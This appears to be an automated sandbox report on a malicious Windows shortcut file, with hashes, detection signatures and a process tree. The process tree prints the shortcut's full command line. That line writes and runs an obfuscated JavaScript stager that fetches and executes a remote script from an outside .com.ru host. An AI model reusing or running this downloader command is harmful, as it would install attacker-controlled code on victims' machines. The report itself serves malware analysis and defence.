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Analysis

  • max time kernel
    27s
  • max time network
    30s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    14/05/2023, 01:56

General

  • Target

    Analisar_Documento0882794814.803816.44691.lnk

  • Size

    1KB

  • MD5

    7a367d3279bb3287198bb1cc84beb9f9

  • SHA1

    e0ae2d2593ac69084888d471784ea709f456a5ab

  • SHA256

    da642ad8df5a83ac147d858adf2b46381e9da2e6d68041415dadfa98ff99dff1

  • SHA512

    0c38fccbe5ba8c5c61748b506190fca15a2626dd374e8bc948e2c9e06cf698b5709c031e0ca7ed0605b07c63fa8b4b16abea7287d4cf219b8cc2d301e0508c08

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Analisar_Documento0882794814.803816.44691.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1716
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" C:\Windows\system32\cmd.exe /V/D/c "md C:\9uR9E36\>nul 2>&1 &&s^eT QRKN=C:\9uR9E36\^9uR9E36.^Js&&echo eval('\u0076\u0061\u0072\u0020\u0043\u0066\u0046\u0031\u003d\u0022\u0073\u0022\u002b\u0022\u0063\u0072\u0022\u003b\u0044\u0066\u0046\u0031\u003d\u0022\u0069\u0070\u0074\u0022\u002b\u0022\u003a\u0068\u0022\u003b\u0045\u0066\u0046\u0031\u003d\u0022\u0054\u0074\u0022\u002b\u0022\u0050\u003a\u0022\u003b\u0047\u0065\u0074\u004f\u0062\u006a\u0065\u0063\u0074\u0028\u0043\u0066\u0046\u0031\u002b\u0044\u0066\u0046\u0031\u002b\u0045\u0066\u0046\u0031\u002b\u0022\u002f\u002f\u0070\u0034\u0065\u0061\u0033\u0030\u002e\u0067\u0065\u0072\u0065\u006e\u0063\u0069\u0061\u0064\u006f\u0072\u0076\u0069\u0072\u0074\u0075\u0061\u006c\u002e\u0063\u006f\u006d\u002e\u0072\u0075\u002f\u003f\u0031\u002f\u0022\u0029\u003b'); >!QRKN!&&ca^ll !QRKN!"
      2⤵
        PID:752

    Network

    MITRE ATT&CK Enterprise v6

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    Downloads